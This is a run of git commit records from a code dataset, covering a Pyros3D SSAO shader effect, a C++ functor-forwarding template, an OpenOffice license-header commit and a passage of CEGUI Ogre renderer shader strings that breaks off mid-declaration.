Uniforms::DataType::Matrix));\r\n\t}\r\n\r\n\tSSAOEffect::~SSAOEffect()\r\n\t{\r\n\t\tdelete rnm;\r\n\t}\r\n\r\n};<commit_msg>Small fix in travis build<commit_after>\/\/============================================================================\r\n\/\/ Name        : SSaoEffect.cpp\r\n\/\/ Author      : Duarte Peixinho\r\n\/\/ Version     :\r\n\/\/ Copyright   : ;)\r\n\/\/ Description : SSAO Effect\r\n\/\/============================================================================\r\n\r\n#include <Pyros3D\/Rendering\/PostEffects\/Effects\/SSAOEffect.h>\r\n#include <cstdlib>\r\n#include <time.h>\r\nnamespace p3d {\r\n\r\n\tSSAOEffect::SSAOEffect(const uint32 Tex1, const uint32 Width, const uint32 Height) : IEffect(Width, Height)\r\n\t{\r\n\r\n\t\t\/\/ Set RTT\r\n\t\tUseRTT(Tex1);\r\n\r\n\t\t\/\/ Use Sample\r\n\t\trnm = new Texture();\r\n\t\tuint32 noiseSize = 16;\r\n\t\tstd::vector<Vec3> noise; noise.resize(16);\r\n\t\tsrand(time(NULL));\r\n\t\tfor (int i = 0; i < noiseSize; ++i) {\r\n\t\t\tnoise[i].x = (rand() % 200 - 100) * 0.01f;\r\n\t\t\tnoise[i].y = (rand() % 200 - 100) * 0.01f;\r\n\t\t\tnoise[i].z = 0.0f;\r\n\t\t\tnoise[i].normalize();\r\n\t\t}\r\n\t\trnm->CreateEmptyTexture(TextureType::Texture, TextureDataType::RGB, 4, 4, false);\r\n\t\trnm->UpdateData(&noise[0]);\r\n\t\trnm->SetRepeat(TextureRepeat::Repeat, TextureRepeat::Repeat);\r\n\t\tUseCustomTexture(rnm);\r\n\r\n\t\t\/\/ Create Fragment Shader\r\n\t\tFragmentShaderString =\r\n\t\t\"uniform sampler2D uTex0;\\n\"\r\n\t\t\"uniform sampler2D uTex1;\\n\"\r\n\t\t\"uniform vec2 uNearFar;\\n\"\r\n\t\t\"uniform vec2 uScreen;\\n\"\r\n\t\t\"uniform float uStrength;\\n\"\r\n\t\t\"uniform int uSamples;\\n\"\r\n\t\t\"uniform float uRadius;\\n\"\r\n\t\t\"uniform float uScale;\\n\"\r\n\t\t\"varying vec2 vTexcoord;\\n\"\r\n\t\t\"uniform mat4 matProj;\\n\"\r\n\t\t\"uniform mat4 uInverseView;\\n\"\r\n\t\t\"uniform mat4 uView;\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\/\/ Reconstruct Positions and Normals\\n\"\r\n\t\t\"float DecodeLinearDepth(float z, vec4 z_info_local)\\n\"\r\n\t\t\"{\\n\"\r\n\t\t\"\treturn z_info_local.x - z * z_info_local.w;\\n\"\r\n\t\t\"}\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"float DecodeNativeDepth(float native_z, vec4 z_info_local)\\n\"\r\n\t\t\"{\\n\"\r\n\t\t\"\treturn z_info_local.z \/ (native_z * z_info_local.w + z_info_local.y);\\n\"\r\n\t\t\"}\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"vec2 getPosViewSpace(vec2 uv, vec4 z_info_local, mat4 matProj_local, vec4 viewport_transform_local)\\n\"\r\n\t\t\"{\\n\"\r\n\t\t\"\tvec2 screenPos = (uv + .5) * viewport_transform_local.zw - viewport_transform_local.xy;\\n\"\r\n\t\t\"\tvec2 screenSpaceRay = vec2(screenPos.x \/ matProj_local[0][0], screenPos.y \/ matProj_local[1][1]);\\n\"\r\n\t\t\"\treturn screenSpaceRay;\\n\"\r\n\t\t\"}\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"vec3 getPosViewSpace(float depth_sampled, vec2 uv, vec4 z_info_local, out vec3 vpos, mat4 matProj_local, vec4 viewport_transform_local)\\n\"\r\n\t\t\"{\\n\"\r\n\t\t\"\tvec2 screenSpaceRay = getPosViewSpace(uv, z_info_local, matProj_local, viewport_transform_local);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tfloat lDepth = DecodeNativeDepth(depth_sampled, z_info_local);\\n\"\r\n\t\t\"\tvpos.xy = lDepth * screenSpaceRay;\\n\"\r\n\t\t\"\tvpos.z = -lDepth;\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\treturn vec3(screenSpaceRay, -1);\\n\"\r\n\t\t\"}\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"void main() {\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tfloat total_strength = uStrength;\\n\"\r\n\t\t\"\tfloat radius = uRadius;\\n\"\r\n\t\t\"\tint samples = uSamples;\\n\"\r\n\t\t\"\tvec3 sample_sphere[16];\\n\"\r\n\t\t\"\tsample_sphere[0] = vec3( 0.5381, 0.1856,0.4319);\\n\"\r\n\t\t\"\tsample_sphere[1] = vec3( 0.1379, 0.2486,0.4430);\\n\"\r\n\t\t\"\tsample_sphere[2] = vec3( 0.3371, 0.5679,0.57);\\n\"\r\n\t\t\"\tsample_sphere[3] = vec3(-0.6999,-0.451,0.19);\\n\"\r\n\t\t\"\tsample_sphere[4] = vec3( 0.0689,-0.1598,0.8547);\\n\"\r\n\t\t\"\tsample_sphere[5] = vec3( 0.0560, 0.69,0.1843);\\n\"\r\n\t\t\"\tsample_sphere[6] = vec3(-0.0146, 0.1402,0.762);\\n\"\r\n\t\t\"\tsample_sphere[7] = vec3( 0.0100,-0.1924,0.344);\\n\"\r\n\t\t\"\tsample_sphere[8] = vec3(-0.3577,-0.5301,0.4358);\\n\"\r\n\t\t\"\tsample_sphere[9] = vec3(-0.3169, 0.1063,0.158);\\n\"\r\n\t\t\"\tsample_sphere[10] = vec3( 0.103,-0.5869,0.46);\\n\"\r\n\t\t\"\tsample_sphere[11] = vec3(-0.897,-0.4940,0.3287);\\n\"\r\n\t\t\"\tsample_sphere[12] = vec3( 0.7119,-0.154,0.918);\\n\"\r\n\t\t\"\tsample_sphere[13] = vec3(-0.533, 0.596,0.5411);\\n\"\r\n\t\t\"\tsample_sphere[14] = vec3( 0.352,-0.631,0.5460);\\n\"\r\n\t\t\"\tsample_sphere[15] = vec3(-0.4776, 0.2847,0.271);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tvec4 z_info = vec4(uNearFar.x, uNearFar.y, uNearFar.x*uNearFar.y, uNearFar.x - uNearFar.y);\\n\"\r\n\t\t\"\tvec2 ssaoOut = vec2(uScreen.x, uScreen.y);\\n\"\r\n\t\t\"\tvec4 ssao_vp = vec4(1.0, 1.0, 2.0\/ssaoOut.x, 2.0\/ssaoOut.y);\\n\"\r\n\t\t\"\tvec3 v1, v2, v3;\\n\"\r\n\t\t\"\tvec4 out_dim = vec4(uScreen.x, uScreen.y, 1.0\/uScreen.x, 1.0\/uScreen.y);\\n\"\r\n\t\t\"\tvec2 screenCoord = vec2(uScreen.x*vTexcoord.x, uScreen.y*vTexcoord.y);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\" \tgetPosViewSpace(texture2D(uTex0, vTexcoord).r, screenCoord, z_info, v1, matProj, ssao_vp);\\n\"\r\n\t\t\"    getPosViewSpace(texture2D(uTex0, vTexcoord + vec2(out_dim.z, 0)).r, screenCoord + vec2(1, 0), z_info, v2, matProj, ssao_vp);\\n\"\r\n\t\t\"    getPosViewSpace(texture2D(uTex0, vTexcoord + vec2(0,out_dim.w)).r, screenCoord + vec2(0, 1), z_info, v3, matProj, ssao_vp);\\n\"\r\n\t\t\"\tvec3 vViewNormal = normalize(cross(v1 - v2, v1 - v3));\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tvec4 vs_position = vec4(v1, 1.0);\\n\"\r\n\t\t\"\tvec4 ws_position = uInverseView * vec4(v1, 1.0);\\n\"\r\n\t\t\"\tvec4 cs_position = matProj * vec4(v1, 1.0);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tfloat depth = texture2D(uTex0, vTexcoord.xy).r;\\n\"\r\n\t\t\"\tvec3 normal = vViewNormal;\\n\"\r\n\t\t\"\tvec3 rvec = vec3(texture2D(uTex1, (ws_position.xy + ws_position.z) * uScale).xy * 2.0 - 1.0, 0.0);\\n\"\r\n\t\t\"\tvec3 tangent = normalize(rvec - normal * dot(rvec, normal));\\n\"\r\n\t\t\"\tvec3 bitangent = cross(normal, tangent);\\n\"\r\n\t\t\"\tmat3 TBN = mat3(tangent, bitangent, normal);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\tfloat occlusion = 0.0;\\n\"\r\n\t\t\"\t\\n\"\r\n\t\t\"\tsamples = uSamples;\\n\"\r\n\t\t\"\t\\n\"\r\n\t\t\"\tfor(int i=0; i < samples; i++) {\\n\"\r\n\t\t\"\t\tvec3 samplePos = vs_position.xyz + (TBN * (sample_sphere[i] * radius));\\n\"\r\n\t\t\"\t\tvec4 offset = vec4(samplePos, 1.0);\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\t\tfloat orig_offset = offset.z;\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\t\toffset = matProj * offset;\\n\"\r\n\t\t\"\t\toffset.xy \/= offset.w;\\n\"\r\n\t\t\"\t\toffset.xy = offset.xy * 0.5 + 0.5;\\n\"\r\n\t\t\"\t\t\\n\"\r\n\t\t\"\t\tfloat sampleDepth = texture2D(uTex0, offset.xy).r;\\n\"\r\n\t\t\"\t\tfloat zz = DecodeNativeDepth(sampleDepth, z_info);\\n\"\r\n\t\t\"\t\t\/\/bool inside_wall = DecodeNativeDepth(sampleDepth, z_info) < -orig_offset;\\n\"\r\n\t\t\"\\n\"\r\n\t\t\"\t\tfloat rangeCheck = -orig_offset - zz < radius ? 1.0 : 0.0;\\n\"\r\n\t\t\"\t\tocclusion += (zz <= -orig_offset ? 1.0 : 0.0) * rangeCheck;\\n\"\r\n\t\t\"\t\t\\n\"\r\n\t\t\"\t}\\n\"\r\n\t\t\"\tfloat ao = (1.0 - (occlusion \/ samples) * total_strength);\\n\"\r\n\t\t\"\tgl_FragColor = vec4(ao);\\n\"\r\n\t\t\"}\";\r\n\r\n\t\tCompileShaders();\r\n\r\n\t\ttotal_strength = 2.0f;\r\n\t\tradius = .2f;\r\n\t\tsamples = 16;\r\n\t\tscale = 100.f;\r\n\r\n\t\tAddUniform(Uniform(\"uStrength\", Uniforms::DataType::Float, &total_strength));\r\n\t\tAddUniform(Uniform(\"uRadius\", Uniforms::DataType::Float, &radius));\r\n\t\tAddUniform(Uniform(\"uSamples\", Uniforms::DataType::Int, &samples));\r\n\t\tAddUniform(Uniform(\"uScale\", Uniforms::DataType::Float, &scale));\r\n\t\tAddUniform(Uniform(\"uNearFar\", Uniforms::PostEffects::NearFarPlane));\r\n\t\tAddUniform(Uniform(\"uScreen\", Uniforms::PostEffects::ScreenDimensions));\r\n\t\tAddUniform(Uniform(\"matProj\", Uniforms::PostEffects::ProjectionFromScene));\r\n\t\tuInverseViewMatrixUniform = AddUniform(Uniform(\"uInverseView\", Uniforms::DataUsage::Other, Uniforms::DataType::Matrix));\r\n\t\tuViewMatrixUniform = AddUniform(Uniform(\"uView\", Uniforms::DataUsage::Other, Uniforms::DataType::Matrix));\r\n\t}\r\n\r\n\tSSAOEffect::~SSAOEffect()\r\n\t{\r\n\t\tdelete rnm;\r\n\t}\r\n\r\n};<|endoftext|>"}
{"text":"<commit_before>#include <cstddef>\n\n#include <cstdint>\n\n#include <type_traits>\n\n#include <utility>\n\n#include <new>\n\nnamespace generic\n{\n\ntemplate<typename F>\nclass forwarder;\n\ntemplate<typename R, typename ...A>\nclass forwarder<R (A...)>\n{\npublic:\n\ttemplate<typename T>\n\tforwarder(T&& functor) noexcept :\n\t\tstub_(&handler<T>::invoke)\n  {\n\t\tstatic_assert(sizeof(T) <= sizeof(store_), \"functor too large\");\n\t\tstatic_assert(::std::is_trivially_destructible<T>::value,\n\t\t\t\t\"functor not trivially destructible\");\n\t\tnew (&store_) handler<T>(::std::forward<T>(functor));\n\t}\n\n\tR operator() (A... args)\n  {\n\t\treturn stub_(&store_, args...);\n\t}\n\nprivate:\n\ttemplate<typename T>\n\tclass handler\n  {\n\t\tT functor_;\n\n  public:\n\t\thandler(const T &functor) noexcept : functor_(functor) { }\n\n\t\tstatic R invoke(void* ptr, A... args)\n    {\n\t\t\treturn static_cast<handler<T>*>(ptr)->functor_(args...);\n\t\t}\n\t};\n\n#if defined(__clang__)\n  using max_align_type = long double;\n#elif defined(__GNUC__)\n  using max_align_type = ::max_align_t;\n#else\n  using max_align_type = ::std::max_align_t;\n#endif\n\n\talignas(max_align_type) ::std::uintptr_t store_;\n\n\tR (*stub_)(void*, A...);\n};\n\n}\n<commit_msg>some fixes<commit_after>#include <cstddef>\n\n#include <cstdint>\n\n#include <type_traits>\n\n#include <utility>\n\n#include <new>\n\nnamespace generic\n{\n\ntemplate<typename F>\nclass forwarder;\n\ntemplate<typename R, typename ...A>\nclass forwarder<R (A...)>\n{\npublic:\n  forwarder() = default;\n\n  template<typename T>\n  forwarder(T&& f) noexcept :\n    stub_(&handler<T>::invoke)\n  {\n    static_assert(sizeof(T) <= sizeof(store_), \"functor too large\");\n    static_assert(::std::is_trivially_destructible<T>::value,\n      \"functor not trivially destructible\");\n    new (&store_) handler<T>(::std::forward<T>(f));\n  }\n\n  forwarder& operator=(forwarder const&) = delete;\n\n  template <\n    typename T,\n    typename = typename ::std::enable_if<\n      !::std::is_same<forwarder, typename ::std::decay<T>::type>{}\n    >::type\n  >\n  forwarder& operator=(T&& f) noexcept\n  {\n    static_assert(sizeof(T) <= sizeof(store_), \"functor too large\");\n    static_assert(::std::is_trivially_destructible<T>::value,\n      \"functor not trivially destructible\");\n    stub_ = &handler<T>::invoke;\n    new (&store_) handler<T>(::std::forward<T>(f));\n  }\n\n  R operator() (A... args)\n  {\n    return stub_(&store_, args...);\n  }\n\nprivate:\n  template<typename T>\n  class handler\n  {\n    T functor_;\n\n  public:\n    handler(const T &functor) noexcept : functor_(functor) { }\n\n    static R invoke(void* ptr, A... args)\n    {\n      return static_cast<handler<T>*>(ptr)->functor_(args...);\n    }\n  };\n\n#if defined(__clang__)\n  using max_align_type = long double;\n#elif defined(__GNUC__)\n  using max_align_type = ::max_align_t;\n#else\n  using max_align_type = ::std::max_align_t;\n#endif\n\n  alignas(max_align_type) ::std::uintptr_t store_;\n\n  R (*stub_)(void*, A...);\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>INTEGRATION: CWS changefileheader (1.17.34); FILE MERGED 2008\/04\/01 12:34:08 thb 1.17.34.2: #i85898# Stripping all external header guards 2008\/03\/31 13:23:43 rt 1.17.34.1: #i87441# Change license header to LPGL v3.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/***********************************************************************\n    created:    Fri, 4th July 2014\n    author:     Henri I Hyyryläinen\n*************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2014 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n\nnamespace CEGUI\n{\n\/\/ Shaders for Ogre renderer adapted from OpenGL and Direct3D11 shaders\n\n\/\/! A string containing an HLSL vertex shader for solid colouring of a polygon\nstatic Ogre::String VertexShaderColoured_HLSL(\"\"\n\"float4x4 modelViewProjMatrix;\\n\"\n\"\\n\"\n\"struct VertOut\\n\"\n\"{\\n\"\n\"\tfloat4 pos : SV_Position;\\n\"\n\"\tfloat4 colour : COLOR;\\n\"\n\"};\\n\"\n\"\\n\"\n\"VertOut main(float3 inPos : POSITION, float4 inColour : COLOR)\\n\"\n\"{\\n\"\n\"\tVertOut output;\\n\"\n\"\\n\"\n\"   output.pos = mul(modelViewProjMatrix, float4(inPos, 1.0));\\n\"\n\"\toutput.colour = inColour;\\n\"\n\"\\n\"\n\"\treturn output;\\n\"\n\"}\\n\"\n);\n\n\/\/! A string containing an HLSL fragment shader for solid colouring of a polygon\nstatic Ogre::String PixelShaderColoured_HLSL(\"\"\n\"uniform float alphaPercentage;\\n\"\n\"\\n\"\n\"struct VS_OUT\\n\"\n\"{\\n\"\n\"\tfloat4 position : POSITION;\\n\"\n\"\tfloat4 colour : COLOR;\\n\"\n\"};\\n\"\n\"\\n\"\n\"float4 main(VS_OUT input) : COLOR\\n\"\n\"{\\n\"\n\"   float4 colour = input.colour;\\n\"\n\"   colour.a *= alphaPercentage;\\n\"\n\"\treturn colour;\\n\"\n\"}\\n\"\n\"\\n\"\n);\n\n\/*!\nA string containing an HLSL vertex shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String VertexShaderTextured_HLSL(\"\"\n\"float4x4 modelViewProjMatrix;\\n\"\n\"\\n\"\n\"struct VertOut\\n\"\n\"{\\n\"\n\"\tfloat4 pos : SV_Position;\\n\"\n\"\tfloat4 colour : COLOR;\\n\"\n\"\tfloat2 texcoord0 : TEXCOORD;\\n\"\n\"};\\n\"\n\"\\n\"\n\"\/\/ Vertex shader\\n\"\n\"VertOut main(float4 inPos : POSITION, float4 inColour : COLOR, float2 inTexCoord0 : TEXCOORD)\\n\"\n\"{\\n\"\n\"\tVertOut output;\\n\"\n\"\\n\"\n\"   output.pos = mul(modelViewProjMatrix, inPos);\\n\"\n\"   output.texcoord0 = inTexCoord0;\\n\"\n\"\toutput.colour = inColour;\\n\"\n\"\\n\"\n\"\treturn output;\\n\"\n\"}\\n\"\n);\n\n\/*!\nA string containing an HLSL fragment shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String PixelShaderTextured_HLSL(\"\"\n\"uniform float alphaPercentage;\\n\"\n\"struct VS_OUT\\n\"\n\"{\\n\"\n\"\tfloat4 position : POSITION;\\n\"\n\"\tfloat4 colour : COLOR;\\n\"\n\"   float2 uv : TEXCOORD0;\\n\"\n\"};\\n\"\n\"\\n\"\n\"float4 main(float4 colour : COLOR, float2 uv : TEXCOORD0, \"\n\"               uniform sampler2D texture0 : TEXUNIT0) : COLOR\\n\"\n\"{\\n\"\n\"   colour = tex2D(texture0, uv) * colour;\\n\"\n\"   colour.a *= alphaPercentage;\\n\"\n\"\treturn colour;\\n\"\n\"}\\n\"\n\"\\n\"\n);\n\n\/\/! Shader for older OpenGL versions < 3\nstatic Ogre::String VertexShaderTextured_GLSL_Compat(\"\"\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n    \"void main(void)\"\n    \"{\"\n    \"    gl_TexCoord[0] = gl_MultiTexCoord0;\"\n    \"    gl_FrontColor = gl_Color;\"\n    \"    gl_Position = modelViewProjMatrix * gl_Vertex;\"\n    \"}\"\n);\n\n\/\/! Shader for older OpenGL versions < 3\nstatic Ogre::String PixelShaderTextured_GLSL_Compat(\"\"\n    \"uniform sampler2D texture0;\"\n    \"uniform float alphaPercentage;\\n\"\n    \"void main(void)\"\n    \"{\"\n    \"    gl_FragColor = texture2D(texture0, gl_TexCoord[0].st) * gl_Color;\"\n    \"    gl_FragColor.a *= alphaPercentage;\\n\"\n    \"}\"\n);\n\n\/\/! Shader for older OpenGL versions < 3\nstatic Ogre::String VertexShaderColoured_GLSL_Compat(\"\"\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n    \"void main(void)\"\n    \"{\"\n    \"    gl_FrontColor = gl_Color;\"\n    \"    gl_Position = modelViewProjMatrix * gl_Vertex;\"\n    \"}\"\n);\n\n\/\/! Shader for older OpenGL versions < 3\nstatic Ogre::String PixelShaderColoured_GLSL_Compat(\"\"\n    \"uniform float alphaPercentage;\\n\"\n    \"void main(void)\\n\"\n    \"{\"\n    \"    gl_FragColor = gl_Color;\"\n    \"    gl_FragColor.a *= alphaPercentage;\\n\"\n    \"}\"\n);\n\n\/\/! A string containing an OpenGL3 vertex shader for solid colouring of a polygon\nstatic Ogre::String VertexShaderColoured_GLSL(\"\"\n    \"#version 130\\n\"\n\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n\n    \"in vec4 vertex;\\n\"\n    \"in vec4 colour;\\n\"\n\n    \"out vec4 exColour;\"\n\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"   exColour = colour;\\n\"\n\n    \"   gl_Position = modelViewProjMatrix * vertex;\\n\"\n    \"}\"\n);\n\n\/\/! A string containing an OpenGL3 fragment shader for solid colouring of a polygon\nstatic Ogre::String PixelShaderColoured_GLSL(\"\"\n    \"#version 130\\n\"\n\n    \"in vec4 exColour;\\n\"\n\n    \"out vec4 fragColour;\\n\"\n\n    \"uniform float alphaPercentage;\\n\"\n\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"   fragColour = exColour;\\n\"\n    \"   fragColour.a *= alphaPercentage;\\n\"\n    \"}\"\n);\n\n\/*!\nA string containing an OpenGL3 vertex shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String VertexShaderTextured_GLSL(\"\" \n    \"#version 130\\n\"\n\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n\n    \"in vec4 vertex;\\n\"\n    \"in vec4 colour;\\n\"\n    \"in vec2 uv0;\\n\"\n\n    \"out vec2 exTexCoord;\\n\"\n    \"out vec4 exColour;\\n\"\n\n    \"void main()\\n\"\n    \"{\\n\"\n    \"   exTexCoord = uv0;\\n\"\n    \"   exColour = colour;\\n\"\n\n    \"   gl_Position = modelViewProjMatrix * vertex;\\n\"\n    \"}\"\n);\n\n\/*!\nA string containing an OpenGL3 fragment shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String PixelShaderTextured_GLSL(\"\" \n    \"#version 130\\n\"\n\n    \"uniform sampler2D texture0;\\n\"\n    \"uniform float alphaPercentage;\\n\"\n\n\n    \"in vec2 exTexCoord;\\n\"\n    \"in vec4 exColour;\\n\"\n\n    \"out vec4 fragColour;\\n\"\n\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"   fragColour = texture(texture0, exTexCoord) * exColour;\\n\"\n    \"   fragColour.a *= alphaPercentage;\\n\"\n    \"}\"\n);\n\n\/\/! A string containing an OpenGL ES 2.0 \/ GLES 1.0 vertex shader for solid colouring of a polygon\nstatic Ogre::String VertexShaderColoured_GLSLES1(\"\"\n    \"#version 100\\n\"\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n    \"attribute vec4 vertex;\\n\"\n    \"attribute vec4 colour;\\n\"\n    \"varying vec4 exColour;\\n\"\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"   exColour = colour;\\n\"\n    \"   gl_Position = modelViewProjMatrix * vertex;\\n\"\n    \"}\"\n);\n\n\/\/! A string containing an OpenGL ES 2.0 \/ GLES 1.0 fragment shader for solid colouring of a polygon\nstatic Ogre::String PixelShaderColoured_GLSLES1(\"\"\n    \"#version 100\\n\"\n    \"varying vec4 exColour;\\n\"\n    \/\/\"varying vec4 dummyColor;\\n\"\n    \"uniform float alphaPercentage;\\n\"\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \/\/\"     dummyColor = exColour;\\n\"\n    \"     gl_FragColor = exColour;\\n\"\n    \/\/\"     gl_FragColor.a = gl_FragColor.a * alphaPercentage;\\n\"\n    \"     gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);\\n\"\n    \"}\"\n);\n\n\/*!\nA string containing an OpenGL ES 2.0 \/ GLES 1.0 vertex shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String VertexShaderTextured_GLSLES1(\"\" \n    \"#version 100\\n\"\n    \"uniform mat4 modelViewProjMatrix;\\n\"\n    \"attribute vec4 vertex;\\n\"\n    \"attribute vec4 colour;\\n\"\n    \"attribute vec2 uv0;\\n\"\n    \"varying vec2 exTexCoord;\\n\"\n    \"varying vec4 exColour;\\n\"\n    \"void main()\\n\"\n    \"{\\n\"\n    \"   exTexCoord = uv0;\\n\"\n    \"   exColour = colour;\"\n    \"   gl_Position = modelViewProjMatrix * vertex;\\n\"\n    \"}\"\n);\n\n\/*!\nA string containing an OpenGL ES 2.0 \/ GLES 1.0 fragment shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String PixelShaderTextured_GLSLES1(\"\" \n    \"#version 100\\n\"\n    \"uniform sampler2D texture0;\\n\"\n    \"uniform lowp float alphaPercentage;\\n\"\n    \"varying vec2 exTexCoord;\\n\"\n    \"varying vec4 exColour;\\n\"\n    \"void main(void)\\n\"\n    \"{\\n\"\n    \"     gl_FragColor = texture2D(texture0, exTexCoord) * exColour;\\n\"\n    \"     gl_FragColor.a = gl_FragColor.a * alphaPercentage;\\n\"\n    \"}\"\n);\n\n\n}\n\n<commit_msg>MOD: Fixing OGL3 Renderer support in CEGUIOgreRenderer<commit_after>\/***********************************************************************\n    created:    Fri, 4th July 2014\n    author:     Henri I Hyyryläinen\n*************************************************************************\/\n\/***************************************************************************\n *   Copyright (C) 2004 - 2014 Paul D Turner & The CEGUI Development Team\n *\n *   Permission is hereby granted, free of charge, to any person obtaining\n *   a copy of this software and associated documentation files (the\n *   \"Software\"), to deal in the Software without restriction, including\n *   without limitation the rights to use, copy, modify, merge, publish,\n *   distribute, sublicense, and\/or sell copies of the Software, and to\n *   permit persons to whom the Software is furnished to do so, subject to\n *   the following conditions:\n *\n *   The above copyright notice and this permission notice shall be\n *   included in all copies or substantial portions of the Software.\n *\n *   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n *   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n *   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n *   IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n *   OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n *   ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n *   OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n\nnamespace CEGUI\n{\n\/\/ Shaders for Ogre renderer adapted from OpenGL and Direct3D11 shaders\n\n\/\/! A string containing an HLSL vertex shader for solid colouring of a polygon\nstatic Ogre::String VertexShaderColoured_HLSL(\"\"\n\"float4x4 modelViewProjMatrix;\\n\"\n\"\\n\"\n\"struct VertOut\\n\"\n\"{\\n\"\n\"\tfloat4 pos : SV_Position;\\n\"\n\"\tfloat4 colour : COLOR;\\n\"\n\"};\\n\"\n\"\\n\"\n\"VertOut main(float3 inPos : POSITION, float4 inColour : COLOR)\\n\"\n\"{\\n\"\n\"\tVertOut output;\\n\"\n\"\\n\"\n\"   output.pos = mul(modelViewProjMatrix, float4(inPos, 1.0));\\n\"\n\"\toutput.colour = inColour;\\n\"\n\"\\n\"\n\"\treturn output;\\n\"\n\"}\\n\"\n);\n\n\/\/! A string containing an HLSL fragment shader for solid colouring of a polygon\nstatic Ogre::String PixelShaderColoured_HLSL(\"\"\n\"uniform float alphaPercentage;\\n\"\n\"\\n\"\n\"struct VS_OUT\\n\"\n\"{\\n\"\n\"\tfloat4 position : POSITION;\\n\"\n\"\tfloat4 colour : COLOR;\\n\"\n\"};\\n\"\n\"\\n\"\n\"float4 main(VS_OUT input) : COLOR\\n\"\n\"{\\n\"\n\"   float4 colour = input.colour;\\n\"\n\"   colour.a *= alphaPercentage;\\n\"\n\"\treturn colour;\\n\"\n\"}\\n\"\n\"\\n\"\n);\n\n\/*!\nA string containing an HLSL vertex shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic Ogre::String VertexShaderTextured_HLSL(\"\"\n\"float4x4 modelViewProjMatrix;\\n\"\n\"\\n\"\n\"struct VertOut\\n\"\n\"{\\n\"\n\"\tfloat4 pos : SV_Position;\\n\"\n\"\tfloat4 colour : COLOR;\\n\"\n\"\tfloat2 texcoord0 : TEXCOORD;\\n\"\n\"};\\n\"\n\"\\n\"\n\"\/\/ Vertex shader\\n\"\n\"VertOut main(float4 inPos : POSITION, float4 inColour : COLOR, float2 inTexCoord0 : TEXCOORD)\\n\"\n\"{\\n\"\n\"\tVertOut output;\\n\"\n\"\\n\"\n\"   output.pos = mul(modelViewProjMatrix, inPos);\\n\"\n\"   output.texcoord0 = inTexCoord0;\\n\"\n\"\toutput.colour = inColour;\\n\"\n\"\\n\"\n\"\treturn output;\\n\"\n\"}\\n\"\n);\n\n\/*!\nA string containing an HLSL fragment shader for polygons that should be coloured\nbased on a texture. The fetched texture colour will be multiplied by a colour\nsupplied to the shader, resulting in the final colour.\n*\/\nstatic 